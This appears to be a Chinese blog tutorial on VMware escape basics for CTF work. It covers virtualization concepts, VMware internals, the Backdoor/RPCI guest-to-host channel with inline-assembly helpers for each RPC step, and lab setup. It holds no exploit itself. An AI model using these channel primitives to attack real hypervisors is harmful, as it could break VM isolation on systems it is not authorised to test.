23
2024
05
18:43:47

VMware 逃逸基础知识

虚拟化相关概念

  • VMM:即 VM Monitor ,也被称为 Hypervisor(虚拟机监控程序)。VMM 是 guest os 的管理器,管理虚拟机运行。例如 Windows 的 Hyper-V ,linux 的 KVM 以及裸机上安装的 Xen 和 VMware ESXi 都属于 VMM 。

  • Host OS:如果 VMM 是依赖于操作系统的,则宿主机操作系统,运行 VMM 。

  • Guest OS:客户机操作系统,即虚拟机 VM 。

VMM 简介

VMM 的特性

  • 运行在 VMM 上的程序必须和原始硬件运行一样,需要高效。

  • 大部分指令必须直接在真实的处理器上运行,而不需要解释每条指令

  • VMM 必须完全控制硬件,任何 VM 不能穿越 VMM 直接控制硬件。

VMM 的模式

  • 监控模式
    VMM 完全安装在裸机上,拥有最高控制权,客户 OS 处于低特权级别,VMM 可以干涉客户 OS 的任何行为。

  • 主机模式
    虚拟机安装在主机 OS 上,这样不用修改原来的操作系统,并且主机 OS 可以提供良好的设备驱动,但是这种方式性能比较低下,VMware 使用了这种模式。

  • 混合模式
    结合了以上两种模式的好处,性能比主机模式好,也可以利用原有 OS 的设备驱动,比如 XEN 就是混合模式。

特权指令与非特权指令

X86 架构的虚拟化根据实现方式和是否需要修改 OS ,分为全虚拟化和半虚拟化。Vmware 采用全虚拟化,VMM 向虚拟机模拟出和真实硬件完全相同的硬件环境。VMM 和 guestOS 运行在不同的特权级上当 guest OS 执行相关特权指令时,由于处于非特权的 Ring 环,因此会触发异常,VMM 截获特权指令并进行虚拟化。

传统计算机的指令分为特权指令和非特权指令,且大多有 2 个或以上的运行等级(Ring),用来分隔系统与应用程序。

虚拟化后,GuestOS 不能运行在 Ring 0 上,原本需要在最高级别下执行的指令就不能直接执行,而是交由 VMM 处理执行,这部分指令被称为敏感指令

VMM 将计算机指令分为两类:

  • 敏感指令:与硬件交互的指令,包括控制敏感和行为敏感指令。例如修改页表基址寄存器、软中断等。

  • 非敏感指令:所有其他指令,例如普通的算术运算指令。

VT 技术

为了提高虚拟化的效率,Intel 和 AMD 推出了各自的硬件虚拟化技术: Intel VT ,AMD-V 。

基本思想:

  • 引入新的指令和处理器运行模式,使得 VMM 和 Guest OS 运行在不同的模式下。

  • Guest OS 只能在受控的模式下运行,当需要由 VMM 进行监控和模拟时,由硬件支持模式切换。

Guest OS 和 VMM 分别有自己的特权级环 Root 模式为根环,Non-root 模式为非根环,VMM 和 Guest OS 分别运行在这两个操作模式的 Ring 0 级(OP,OD)。

Guest OS的应用程序运行在非根环的Ring 3(3D)

VMware 相关软件

  • VMware Workstation:桌面虚拟机软件

  • VMware vSphere:独立安装和运行在裸机上的系统,常用于服务器

  • VMware Fusion:MacOS 版的 VMware Workstation

这里主要研究的是 Linux 平台的 VMware Workstation 。

VMware 基本架构

VMware 属于主机 os 模型,VMware的虚拟机安装在主机 os 上,由主机 os 来提供良好的设备驱动。

VMware 采用完全虚拟化技术,所以不需要修改原来的操作系统,而且可以同时支持不同的操作系统(开启了IntelVT技术后属于半虚拟化)。

运行虚拟机时,由 vmmon 内核驱动进入 VM Monitor , VM Monitor 运行 VM 虚拟机,负责 VM 的运行、暂停、管理等操作。

vmware-vmx 负责处理 VMM 的 RPC 请求,例如虚拟硬件的模拟,传递给 vmmon。

vmmon驱动负责处理整个请求,并返回给 VMM 。

虚拟机逃逸一般关注于类似 vmware-vmx 这类存在于host os 的用户空间,能与 VM 进行通信的组件程序的漏洞。
在这里插入图片描述

VMware I/O 虚拟化

VMM 无法获得对硬件资源的完全控制,因此需要使用软件模拟的方法虚拟化 I/O 设备:

  1. Guest OS 的 I/O 操作被 VMM 捕获

  2. VMM 将捕获的 I/O 请求转交给 Host OS 的用户进程

  3. 用户进程通过对 Host OS 的系统调用来模拟设备的行为

例如 VMware 中对网卡、USB 等驱动设备的请求,都是 Guest OS 发出正常的 I/O 请求,被 VMM 捕获后 VMM 通过在 Host OS 中的程序来模拟行为,并将结果返回
给 Guest OS 。

VMware 把 VMM 的层次搭在一个操作系统之上,使用宿主机 os 结构,宿主机 os 一般是 windows 或者 linux ,对于 I/O 的访问就可以使用宿主操作系统中的驱动。如果 VM 上的操作系统要读取虚拟磁盘,VMM 就将它转化为宿主操作系统中读取文件的工作,如果 VM 上的操作系统要对显示设备进行访问,就由操作系统对于 VM 的虚拟显示设备进行操作。

VMware 内存虚拟化

balloon 技术

VMM 控制每个 VM 得到多少内存,也必须周期性的换出页面到磁盘,来回收内存。但客户 os 可能比 VMM 有更好的调度算法。

VMware 的 ESX server 使用了一种气球“balloon”进程,气球(balloon)模块作为内核服务程序加载到 guest os 中,通过一个私有的信道与 ESX 服务器通信。

如果要回收内存,则询问 balloon 进程,对其加压,使得气球膨胀在气球膨胀过程中,客户 os 感受到了自己内存的压力,很专业地选出适合换出的页面,并且告诉 balloon ,这个 balloon 再告诉 VMM 换出哪些页面气球放气的过程与气球充气过程相反,guest os 给气球放气,通知 VMM 要重新分配内存。

基于内容的页共享技术

现代 os 和 app 都比较大。运行多个 VM ,意味着要使用可观的内存来存储不同 VM 中相似的冗余的多份代码、数据的拷贝。VMware 使用基于内容的页面共享来支持服务器。VMM 追踪物理页面的内容,如果发现它们是相同的,那么 VMM 修改 VM 的影子页表来指向一个唯一的拷贝。这样 VMM 就可以降低几余度,节约出内存。

因为使用了 copy on write 的页面共享模式,VMM 在相应页面内容发生改变之前,才为每个 VM 拷贝一份。极大节约了物理内存的使用。

空闲内存缴税技术

ESX 服务器通过引进空闲内存缴税技术(idle memory tax)解决内存管理。

该技术基本思想就是不活动的客户程序的空闲页面所收的税比活动的客户程序的空闲页要多,当内存感到压力时,优先回收不活动的客户程序的页。税率规定了可能从客户程序回收的空闲页面的最大部分。

动态再分配技术

大多数操作系统想要保持一个最小的空闲内存的数量。例如 BSDUnix 通常当内存小于 5% 时开始回收内存,直到内存达到 7% 才停止回收内存。ESX 服务器也是这样实现的,但它使用了 4 级回收入口来反应不同的回收状态:

  • High:对应 6% ,high 状态下,空闲内存充足,没有执行回收的动作。

  • Soft:对应 4% ,soft 状态,系统使用气球技术回收内存,仅在气球机制回收力度不够才使用页面调度。

  • Hard:对应 2% ,hard 状态下,系统主要依靠强制的页面调度来回收页面。

  • Low:对应 1% ,一日空闲页面的数量达到 low 标准,系统通过页面调度持续的对内存进行回收,并且阻塞所有正在执行着的且超过它们内存分配数量的 VM 。

VMware CPU 虚拟化

直接执行技术

直接执行技术中,VM 的特权指令和非特权指令都在 CPU 的非特权模式下而VMM在特权模式下运行。当 VM 试着执行特权操作时,CPU 捕捉异常 trap 到 VMM ,并使 VM 中特权操作与 VMM 控制时一样。这种方式让 VMM 得到对 CPU 的最大控制。

例如 VMM 处理一条关中断指令。如果让客户 os 可执行关中断是不安全的,如果这样 VMM 就无法重新获得 CPU 控制权。所以其做法是,VMM 捕捉客户的关中断操作,并且记录相应的 VM 已经关中断。VMM 只是延时发送中断结果,直到特定的 VM 开中断为止。

二进制翻译

二进制翻译(BT)是从一种指令集到另一种指令集的自动代码转换。

进制翻译可以分为动态翻译和静态翻译,可以仅翻译用户级代码也可以进行整系统翻译。静态翻译是在脱机过程中进行翻译工作,然后在运行时执行翻译过的代码。动态二进制翻译是在程序运行期间把代码片段从旧指令集翻译到目标指令集。

为了提供一种快速、兼容的 x86 虚拟化 VMware 研发出一种新的虚拟化技术,这种技术将传统的直接执行、快速进制翻译结合。在现代 os 中,运行普通 app 程序的处理器模式都是可虚拟化的,于是可以使用直接执行方式。一个二进制翻译器可以运行不可虚拟化的特权模式,使用不可虚拟化的 x86 指令集合。这种 VM 可以与硬件匹配,也可以保持软件兼容性。

VMware 的二进制译码源、目标指令集集合相同,比较简单。在进制翻译器的控制下运行特权指令代码。译码器把内核码翻译成相似的块,使得翻译后的模块直接在 CPU 上运行,代替敏感的指令。二进制翻译系统把已经翻译的块缓存到 trace cache ,这样在后续执行时就无需重复翻译了。

二进制翻译虽然要花费代价,但是其工作负荷可以忽略。译码器只运行代码的一个片段,当 trace cache 热身后,其执行速度与直接执行几乎无异。

二进制翻译可以减少 trap 捕捉带来的开销,是直接执行的优化方法。

VMware 相关的重要组件

  • vmmon
    该组件是 VMware Workstation 的一部分,用于支持虚拟机的创建和管理。它提供了一系列的接口和函数,用于创建和控制虚拟机的运行。vmmon 还提供了一些安全保护机制,防止虚拟机的运行对主机系统造成威胁。

  • vmnat
    该组件是 VMware Workstation 虚拟网络的一部分,用于提供 NAT 网络服务。它提供了虚拟网络的 NAT 功能,使虚拟机能够与外部网络进行通信,同时还提供了端口转发和 DHCP 服务等功能。

  • vmware-vmx
    该组件是 VMware Workstation 的一部分,用于实现虚拟机的主体。它是 VMware Workstation 的核心组件,负责虚拟机的创建、运行、管理和维护等任务。vmware-vmx 还提供了一些高级功能,如虚拟磁盘管理、虚拟网络管理和高级调试功能等。

  • thnuclnt
    该组件是 VMware Tools 的一部分,用于提供 VMware 与虚拟机之间的通信功能。它提供了虚拟机的剪贴板共享、文件传输和时间同步等功能,还可以通过与 VMware Workstation 中的 vmrun 命令一起使用,实现对虚拟机的控制和管理。

  • vmnet-dhcpd
    该组件是 VMware Workstation 虚拟网络的一部分,用于提供 DHCP 服务。当虚拟机启动时,vmnet-dhcpd 会自动为其分配 IP 地址和网络配置信息,使虚拟机能够与其他虚拟机和主机进行通信。

  • vmnet-natd
    该组件是 VMware Workstation 虚拟网络的一部分,用于提供网络地址转换(NAT)功能。当虚拟机访问外部网络时,vmnet-natd 会将虚拟机的网络流量转换为主机的网络流量,并将响应流量转换回虚拟机。这样,虚拟机就可以与外部网络进行通信,而不需要对外部网络进行任何配置。

  • vmnet-netifup
    该组件是 VMware Workstation 虚拟网络的一部分,用于启动虚拟网络接口。当虚拟机启动时,vmnet-netifup 会自动启动虚拟网络接口,使虚拟机能够与其他虚拟机和主机进行通信。

  • vmware-authdlaucher
    该组件是 VMware Workstation 的一部分,用于启动 VMware Workstation 授权服务。当用户启动 VMware Workstation 时,vmware-authdlaucher 会检查用户的授权信息,并验证用户是否有访问虚拟机的权限。

  • vmnet-bridge
    该组件是 VMware Workstation 虚拟网络的一部分,用于实现虚拟机与物理网络的桥接功能。当虚拟机需要与外部网络进行通信时,vmnet-bridge 会将虚拟机的网络流量转发到物理网络接口上,使虚拟机能够与外部网络进行通信。

  • vmware-usbarbitrator
    该组件是 VMware 的 USB 设备管理器,用于管理虚拟机与主机之间的 USB 设备共享。当用户在虚拟机中连接 USB 设备时,vmware-usbarbitrator 会将 USB 设备共享给虚拟机,使虚拟机能够访问该 USB 设备。

  • vmware-hostd
    该组件是 VMware ESXi 的一部分,用于管理虚拟机和物理主机之间的通信。它负责虚拟机的启动、停止和迁移等功能,还可以提供与 vCenter Server 的集成,实现对虚拟机的统一管理。

  • vmtools
    用于提供虚拟机与物理主机之间的通信和集成功能。它提供了文件共享、剪贴板共享、时间同步和高级屏幕驱动程序等功能,可以提高虚拟机的性能和可靠性。

VMware RPCI

Backdoor

VMware 实现了多种虚拟机与宿主机之间的通信方式。其中一种方式是通过一个叫做 Backdoor 的接口,这种方式的设计很有趣,guest 只需在用户态就可以通过该接口发送命令。在 open-vm-tools 中 Backdoor 的具体实现如下:

/*
 *----------------------------------------------------------------------------
 *
 * Backdoor_InOut --
 *
 *      Send a low-bandwidth basic request (16 bytes) to vmware, and return its
 *      reply (24 bytes).
 *
 * Results:
 *      Host-side response returned in bp IN/OUT parameter.
 *
 * Side effects:
 *      Pokes the backdoor.
 *
 *----------------------------------------------------------------------------
 */

void
Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT
{
   uint32 dummy;

   __asm__ __volatile__(
#ifdef __PIC__
        "pushl %%ebx"           "\n\t"
#endif
        "pushl %%eax"           "\n\t"
        "movl 20(%%eax), %%edi" "\n\t"
        "movl 16(%%eax), %%esi" "\n\t"
        "movl 12(%%eax), %%edx" "\n\t"
        "movl  8(%%eax), %%ecx" "\n\t"
        "movl  4(%%eax), %%ebx" "\n\t"
        "movl   (%%eax), %%eax" "\n\t"
        "inl %%dx, %%eax"       "\n\t"
        "xchgl %%eax, (%%esp)"  "\n\t"
        "movl %%edi, 20(%%eax)" "\n\t"
        "movl %%esi, 16(%%eax)" "\n\t"
        "movl %%edx, 12(%%eax)" "\n\t"
        "movl %%ecx,  8(%%eax)" "\n\t"
        "movl %%ebx,  4(%%eax)" "\n\t"
        "popl          (%%eax)" "\n\t"
#ifdef __PIC__
        "popl %%ebx"            "\n\t"
#endif
      : "=a" (dummy)
      : "0" (myBp)
      /*
       * vmware can modify the whole VM state without the compiler knowing
       * it. So far it does not modify EFLAGS. --hpreg
       */
      :
#ifndef __PIC__
        "ebx",
#endif
        "ecx", "edx", "esi", "edi", "memory"
   );
}

/*
 * If you want to add a new low-level backdoor call for a guest userland
 * application, please consider using the GuestRpc mechanism instead.
 */

#define BDOOR_MAGIC 0x564D5868

/* Low-bandwidth backdoor port number for the IN/OUT interface. */

#define BDOOR_PORT        0x5658

/* High-bandwidth backdoor port. */

#define BDOORHB_PORT 0x5659

typedef union {
   struct {
      DECLARE_REG_NAMED_STRUCT(ax);
      size_t size; /* Register bx. */
      DECLARE_REG_NAMED_STRUCT(cx);
      DECLARE_REG_NAMED_STRUCT(dx);
      DECLARE_REG_NAMED_STRUCT(si);
      DECLARE_REG_NAMED_STRUCT(di);
   } in;
   struct {
      DECLARE_REG_NAMED_STRUCT(ax);
      DECLARE_REG_NAMED_STRUCT(bx);
      DECLARE_REG_NAMED_STRUCT(cx);
      DECLARE_REG_NAMED_STRUCT(dx);
      DECLARE_REG_NAMED_STRUCT(si);
      DECLARE_REG_NAMED_STRUCT(di);
   } out;
} Backdoor_proto;

void
Backdoor(Backdoor_proto *myBp) // IN/OUT
{
   BackdoorInterface interface = BackdoorGetInterface();

   myBp->in.ax.word = BDOOR_MAGIC;

   switch (interface) {
   case BACKDOOR_INTERFACE_IO:
      myBp->in.dx.halfs.low = BDOOR_PORT;
      break;
   ...
   }

   switch (interface) {
   case BACKDOOR_INTERFACE_IO:
      Backdoor_InOut(myBp);
      break;
   ...
   }
}


其中 Backdoor_proto 中的宏 DECLARE_REG_NAMED_STRUCT 定义如下:


声明位置: backdoor_types.h  
定义:  #define DECLARE_REG_NAMED_STRUCT(_r) \
   union { DECLARE_REG_STRUCT; } _r替换:  union {
    struct {
        uint16 low;
        uint16 high;
    } halfs;
    uint32 word;
    struct {
        uint32 low;
        uint32 high;
    } words;
    uint64 quad;} cx

上面的代码中出现了一个很奇怪的指令 inl 。在通常环境下(例如 Linux 下默认的 I/O 权限设置),用户态程序是无法执行 I/O 指令的,因为这条指令只会让用户态程序出错并产生崩溃。而此处这条指令产生的权限错误会被 host 上的 hypervisor 捕捉,从而实现通信。

Backdoor 所引入的这种从 guest 上的用户态程序直接和 host 通信的能力,带来了一个有趣的攻击面,这个攻击面正好满足攻击必须从 guest 的非管理员帐号发起,并实现在 host 操作系统中执行任意代码”。

guest 将 0x564D5868 存入 $eax,I/O端口号 0x5658 或 0x5659 存储在 $dx 中,分别对应低带宽和高带宽通信。其它寄存器被用于传递参数,例如 $ecx 的低 16 位被用来存储命令号。对于 RPCI 通信,命令号会被设为 BDOOR_CMD_MESSAGE(=30)。文件 lib/include/backdoor_def.h 中包含了一些支持的 backdoor 命令列表。host 捕捉到错误后,会读取命令号并分发至相应的处理函数。

例如 Message_OpenAllocated 函数:


#define   BDOOR_CMD_MESSAGE                  30
#define MESSAGE_STATUS_SUCCESS  0x0001

Bool
Message_OpenAllocated(uint32 proto, Message_Channel *chan,
                      char *receiveBuffer, size_t receiveBufferSize)
{
   uint32 flags;
   Backdoor_proto bp;

   flags = GUESTMSG_FLAG_COOKIE;
retry:
   /* IN: Type */
   bp.in.cx.halfs.high = MESSAGE_TYPE_OPEN;
   /* IN: Magic number of the protocol and flags */
   bp.in.size = proto | flags;

   bp.in.cx.halfs.low = BDOOR_CMD_MESSAGE;
   Backdoor(&bp);

   /* OUT: Status */
   if ((bp.in.cx.halfs.high & MESSAGE_STATUS_SUCCESS) == 0) {
      if (flags) {
         /* Cookies not supported. Fall back to no cookie. --hpreg */
         flags = 0;
         goto retry;
      }

      MESSAGE_LOG("Message: Unable to open a communication channel\n");
      return FALSE;
   }

   /* OUT: Id and cookie */
   chan->id = bp.in.dx.halfs.high;
   chan->cookieHigh = bp.out.si.word;
   chan->cookieLow = bp.out.di.word;

   /* Initialize the channel */
   chan->in = (unsigned char *)receiveBuffer;
   chan->inAlloc = receiveBufferSize;

   ASSERT((receiveBuffer == NULL) == (receiveBufferSize == 0));
   chan->inPreallocated = receiveBuffer != NULL;

   return TRUE;
}

RPCI

VMware RPCI(Remote Procedure Call Interface)是一种远程过程调用接口,用于在 VMware 虚拟化环境中实现虚拟机和管理程序之间的通信。

RPCI 是基于前面提到的 Backdoor 机制实现的。依赖这个机制,guest 能够向 host 发送请求来完成某些操作,例如,拖放(Drag n Drop)/复制粘贴(Copy Paste)操作、发送或获取信息等等。

RPCI请求的格式非常简单:<命令> <参数> 。例如RPCI请求 info-get guestinfo.ip 可以用来获取 guest 的 IP 地址。对于每个RPCI命令,在 vmware-vmx 进程中都有相关注册和处理操作。 并且客户机的普通用户可以调用。

vmware-tool 或 open-vm-tools 提供了 rpctool 用来和API交互:

sky123@ubuntu:~$ vmware-rpctool 'info-get guestinfo.ip'172.16.74.129

VMware 内部在 0x5658 端口上提供了一个接口作为“后门”。通过这个端口,虚拟机可以通过 I/O 指令来和主机进行通信。

guest 通过寄存器传递一个 VMware 可识别的魔数,VMware 会自动解析附加的参数。I/O 指令通常都是特权指令,但这个“后门”接口是个例外。

当执行一个后门I/O指令时,VMware 会进行一系列的判断,判断该 I/O 指令是否来自拥有特权的虚拟机。

在这个“后门”接口的上层,VMware 使用了 RPC 服务在主机和客户机之间交换数据。

在客户机端, vmware-tools 执行“后门”命令的同时,使用了 RPC 服务。这就是为什么之后在安装了 vmware-tools 的客户机上,才能使用像拖放文件这样的功能。

内核驱动和用户空间功能的结合利用实现了这一功能。在最初的“后门”接口中只能通过寄存器来传递数据,面临大量数据的传输时,速度会变得很慢。为了解决这个问题,VMware 引入了另一个端口(0x5659)来实现高带宽的“后门”。实际上这个端口是被 RPC 使用。在这一端口上,通过传递一个数据指针,vmware-vmx不用重复的调用 IN 指令,而是直接调用 read/write API 就可以完成数据的传输。

RPC 通信过程

RPC 通信机制如下图所示:
在这里插入图片描述
使用 backdoor 传输 RPC 指令需要经过如下步骤。


     +------------------+

     | Open RPC channel |

     +---------+--------+

                     |

  +------------v-----------+

  | Send RPC command length|

  +------------+-----------+

                       |

  +------------v-----------+

  | Send RPC command data  |

  +------------+-----------+

                      |

 +-------------v------------+

 | Recieve RPC reply length |

 +-------------+------------+

                      |

  +------------v-----------+

  | Receive RPC reply data |

  +------------+-----------+

                      |

+--------------v-------------+

| Finish receiving RPC reply |

+--------------+-------------+

                      |

     +---------v---------+

     | Close RPC channel |

     +-------------------+




在 RpcOutSendOneRawWork 函数中就体现了这一过程,RpcOutSendOneRawWork 函数的作用是将一段原始的数据打包为消息并通过 VMware 的 RPC 协议发送给另一台虚拟机或者宿主机,该函数主要调用了三个函数:

  • RpcOut_startWithReceiveBuffer:最终调用 Message_OpenAllocated 函数执行 MESSAGE_TYPE_OPEN 过程。

  • RpcOut_send:最终调用了 Message_Send 和 Message_Receive 两个函数。

    • Message_Send:先执行 MESSAGE_TYPE_SENDSIZE 过程发送消息长度,然后循环进行 MESSAGE_TYPE_SENDPAYLOAD 过程直到把消息发送完。

    • Message_Receive:先执行 MESSAGE_TYPE_RECVSIZE 过程获取接收消息长度,然后循环执行 MESSAGE_TYPE_RECVPAYLOAD 过程直到把消息接收完。

  • RpcOut_stop:最终调用 Message_CloseAllocated 函数执行 MESSAGE_TYPE_CLOSE 过程。

Open RPC channel

RPC subcommand:00h

调用IN(OUT)前,需要设置的寄存器内容:

EAX = 564D5868h - magic number
EBX = 49435052h - RPC open magic number ('RPCI')
ECX(HI) = 0000h - subcommand number
ECX(LO) = 001Eh - command number
EDX(LO) = 5658h - port number

返回值:

ECX = 00010000h: success / 00000000h: failure
EDX(HI) = RPC channel number

该功能用于打开 RPC 的 channel ,其中 ECX 会返回是否成功,EDX 返回值会返回一个 channel 的编号,在后续的 RPC 通信中,将使用该编号。这里需要注意的是,在单个虚拟机中只能同时使用 8 个 channel(#0 - #7),当尝试打开第 9 个 channel 的时候,会检查其他 channel 的打开时间,如果时间过了某一个值,会将超时的 channel 关闭,再把这个 channel 的编号返回;如果都没有超时,create channel 会失败。

为了防止进程扰乱 RPC 的交互,建立一个通道时, VMware 会生产两个 cookie 值,用它们来发送和接受数据。

我们可以使用如下函数实现 Open RPC channel 的过程:

void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {

    asm("movl %%eax,%%ebx\n\t"

        "movq %%rdi,%%r10\n\t"

        "movq %%rsi,%%r11\n\t"

        "movq %%rdx,%%r12\n\t"

        "movq %%rcx,%%r13\n\t"

        "movl $0x564d5868,%%eax\n\t"

        "movl $0xc9435052,%%ebx\n\t"

        "movl $0x1e,%%ecx\n\t"

        "movl $0x5658,%%edx\n\t"

        "out %%eax,%%dx\n\t"

        "movl %%edi,(%%r10)\n\t"

        "movl %%esi,(%%r11)\n\t"

        "movl %%edx,(%%r12)\n\t"

        "movl %%ecx,(%%r13)\n\t"

        :

        :

        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");

}



Send RPC command length

RPC subcommand:01h

调用:

EAX = 564D5868h - magic number
EBX = command length (not including the terminating NULL)
ECX(HI) = 0001h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number

返回值:

ECX = 00810000h: success / 00000000h: failure

在发送 RPC command 前,需要先发送 RPC command 的长度,需要注意的是,此时我们输入的 channel number 所指向的 channel 必须处于已经 open 的状态。 ECX 会返回是否成功发送。具体实现如下:

void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movl %%ecx,%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0001001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");}

Send RPC command data

RPC subcommand:02h

调用:

EAX = 564D5868h - magic number
EBX = 4 bytes from the command data (the first byte in LSB)
ECX(HI) = 0002h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number

返回值:

ECX = 000010000h: success / 00000000h: failure

该功能必须在 Send RPC command length 后使用,每次只能发送 4 个字节。例如,如果要发送命令machine.id.get,那么必须要调用 4 次,分别为:

EBX set to 6863616Dh ("mach")
EBX set to 2E656E69h ("ine.")
EBX set to 672E6469h ("id.g")
EBX set to 00007465h ("et\x00\x00")

ECX 会返回是否成功,具体实现如下:


void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {

    asm("pushq %%rbp\n\t"

        "movq %%r9,%%r10\n\t"

        "movq %%r8,%%rbp\n\t"

        "movq %%rcx,%%r11\n\t"

        "movq $0,%%r12\n\t"

        "1:\n\t"

        "movq %%r8,%%rbp\n\t"

        "add %%r12,%%rbp\n\t"

        "movl (%%rbp),%%ebx\n\t"

        "movl $0x564d5868,%%eax\n\t"

        "movl $0x0002001e,%%ecx\n\t"

        "movw $0x5658,%%dx\n\t"

        "out %%eax,%%dx\n\t"

        "addq $4,%%r12\n\t"

        "cmpq %%r12,%%r11\n\t"

        "ja 1b\n\t"

        "movl %%ecx,(%%r10)\n\t"

        "popq %%rbp\n\t"

        :

        :

        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");

}



Recieve RPC reply length

RPC subcommand:03h

调用:

EAX = 564D5868h - magic number
ECX(HI) = 0003h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number

返回值:

EBX = reply length (not including the terminating NULL)
ECX = 00830000h: success / 00000000h: failure

接收 RPC reply 的长度。需要注意的是所有的 RPC command 都会返回至少 2 个字节的 reply 的数据,其中 1 表示 success ,0 表示 failure ,即使 VMware 无法识别 RPC command ,也会返回 0 Unknown command 作为 reply 。也就是说,reply 数据的前两个字节始终表示 RPC command 命令的状态。

void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movq %%rcx,%%r11\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0003001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "movl %%ebx,(%%r11)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");}

Receive RPC reply data

RPC subcommand:04h

调用:

EAX = 564D5868h - magic number
EBX = reply type from subcommand 03h
ECX(HI) = 0004h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number

返回:

EBX = 4 bytes from the reply data (the first byte in LSB)
ECX = 00010000h: success / 00000000h: failure

EBX 中存放的值是 reply type ,他决定了执行的路径。和发送数据一样,每次只能够接受 4 个字节的数据。需要注意的是,我们在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态。举例说明,如果我们使用 RPC command 询问 machine.id.get ,如果成功的话,会返回 1 <virtual machine id>,否则为 0 No machine id 。


void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {

    asm("pushq %%rbp\n\t"

        "movq %%r9,%%r10\n\t"

        "movq %%r8,%%rbp\n\t"

        "movq %%rcx,%%r11\n\t"

        "movq $1,%%rbx\n\t"

        "movl $0x564d5868,%%eax\n\t"

        "movl $0x0004001e,%%ecx\n\t"

        "movw $0x5658,%%dx\n\t"

        "in %%dx,%%eax\n\t"

        "add %%r11,%%rbp\n\t"

        "movl %%ebx,(%%rbp)\n\t"

        "movl %%ecx,(%%r10)\n\t"

        "popq %%rbp\n\t"

        :

        :

        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");

}


Finish receiving RPC reply

RPC subcommand:05h

调用:

EAX = 564D5868h - magic number
EBX = reply type from subcommand 03h
ECX(HI) = 0005h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number

返回:

ECX = 00010000h: success / 00000000h: failure

和前文所述一样,在 EBX 中存储的是 reply type 。在接收完 reply 的数据后,调用此命令。如果没有通过 Receive RPC reply data 接收完整个 reply 数据的话,就会返回 failure 。

void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");}

Close RPC channel

RPC subcommand:06h

调用:

EAX = 564D5868h - magic number
ECX(HI) = 0006h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number

返回:

ECX = 00010000h: success / 00000000h: failure

关闭channel。

void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0006001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");}

环境搭建

这里我们在 linux 平台上进行 vmware 逃逸。

下载 vmware 安装脚本

一般题目会提供 vmware 版本和 patch 过的 vmware-vmx 二进制文件,这就需要我们能够找到对应版本的 vmware 安装脚本。

我们首先需要再 VMware Workstation Pro 下载页面中选择大致版本
在这里插入图片描述
之后选择 linux 版本的下载链接。
在这里插入图片描述
然后进一步选择具体版本然后点击下载即可。
在这里插入图片描述
一般来说即使找不到完全一致的版本,下载相近版本其实也是可以的,毕竟只要能让 vmware-vmx 跑起来就可以。

安装 vmware

由于这里使用的 vmware 版本较老,因此为了确保能把 vmmon 和 vmnet 两个驱动能装上,这里我们选择 ubuntu 18.04.1 的系统来安装 vmware 。

另外如果驱动实在装不上可以找这个驱动项目下载下来然后手动编译安装。我在高版本的 ubuntu 18.04 上就存在这个问题。

下载这个项目

git clone https://github.com/mkubecek/vmware-host-modules.git

根据安装的 vmware 版本切换到对应版本上,这里 w15.5.0 中的 w 是 VMware Workstation 的意思。
在这里插入图片描述

cd vmware-host-modulesgit checkout w15.5.0

之后分别编译两个驱动并安装即可。注意选择 gcc 版本,否则容易编译失败。

cd vmmon-onlymakecd ../vmnet-onlymakecd ..insmod vmmon.o
insmod vmnat.o

然而这里对于高版本 ubuntu 18.04 来说 w15.5.0 的 vmnat 驱动无法成功编译,因为内核版本过高,因此只能选择 ubuntu 18.04.1 版本来搭建环境。

对于 ubuntu 18.04.1 系统 vmware 可以直接安装启动,不需要在手动编译安装上述驱动(当然编译是可以成功编译的 )。

